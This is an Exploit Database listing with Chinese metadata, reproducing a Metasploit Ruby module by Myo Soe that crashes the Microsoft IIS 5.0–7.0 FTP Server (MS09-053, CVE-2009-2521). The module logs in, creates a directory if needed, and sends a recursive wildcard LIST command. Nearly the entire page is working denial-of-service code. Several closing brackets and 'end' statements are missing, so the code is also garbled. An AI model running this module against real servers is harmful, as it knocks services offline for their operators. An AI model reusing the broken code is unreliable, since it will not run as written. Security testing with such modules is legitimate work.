Microsoft IIS 7.0 FTP Server – Stack Exhaustion Denial of Service (MS09-053) (Metasploit)

Exploit Database
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作者： Myo Soe

日期： 2011-07-03
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/17476/

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# Exploit Title: [MS09-053] Microsoft IIS FTP Server <= 7.0 Stack Exhaustion DoS

# Date: Jul 03, 2011

# Updated: Jul 13, 2011

# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>

# Software Link: http://www.microsoft.com/

# Version: 5.0 - 7.0

# Tested on: unpatched version of windows xp & 2k3

# $Id: $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Ftp

include Msf::Auxiliary::Dos

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft IIS FTP Server <= 7.0 LIST Stack Exhaustion Denial of Service',

'Description'=> %q{

This module triggers Denial of Service condition in the Microsoft Internet Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command containing a wildcard. For this exploit to work in most cases, you need 1) a valid ftp account: either read-only or write-access account 2) the "FTP Publishing" service must be configured as "manual" mode in startup type 3) there must be at least one directory under FTP root directory. If your provided FTP account has write-access privilege and there is no single directory, a new directory with random name will be created prior to sending exploit payload.

'Author' => [

'Nikolaos "Kingcope" Rangos',# Bug Discoverer

'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>'# Metasploit Module

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 4 $',

'References' =>

[

[ 'CVE', '2009-2521'],

[ 'BID', '36273'],

[ 'OSVDB', '57753'],

[ 'URL', 'https://www.microsoft.com/technet/security/Bulletin/MS09-053.mspx'],

[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2009-09/0040.html']

'DisclosureDate' => 'Sep 03 2009'))

register_options([

OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),

OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'mozilla@example.com' ])

])

end

def run

begin

return unless connect_login

print_status('Checking if there is at least one directory ...')

res = send_cmd_data(['ls'],'')

if res.to_s =~ /\<DIR\>/ then

print_status('Directory found, skipped creating a directory')

else

print_status('No single directory found')

print_status('Attempting to create a directory ...')

new_dir = Rex::Text.rand_text_alphanumeric(6)

res = send_cmd(['mkd',new_dir])

if res =~ /directory created/ then

print_status("New directory \"#{new_dir}\" was created!")

else

print_error('Write-access was denied')

print_error('Exploit failed')

disconnect

return

end

print_status("Sending DoS packets ...")

res = send_cmd_datax(['ls','-R */../'],' ')

disconnect

rescue ::Interrupt

raise $!

rescue Errno::ECONNRESET

print_good("MS IIS FTP Server has crashed successfully.")

rescue ::Rex::ConnectionRefused

print_good("Cannot connect. The server is not running.")

end

# Workaround: modified send_cmd_data function with short sleep time before data_disconnect call

# Bug Tracker: 4868

def send_cmd_datax(args, data, mode = 'a', nsock = self.sock)

args[0] = "LIST"

# Set the transfer mode and connect to the remove server

return nil if not data_connect(mode)

# Our pending command should have got a connection now.

res = send_cmd(args, true, nsock)

# make sure could open port

return nil unless res =~ /^(150|125) /

# dispatch to the proper method

begin

data = self.datasocket.get_once(-1, ftp_timeout)

rescue ::EOFError

data = nil

end

select(nil,nil,nil,1)

# close data channel so command channel updates

data_disconnect

# get status of transfer

ret = nil

ret = recv_ftp_resp(nsock)

ret = [ ret, data ]

ret

end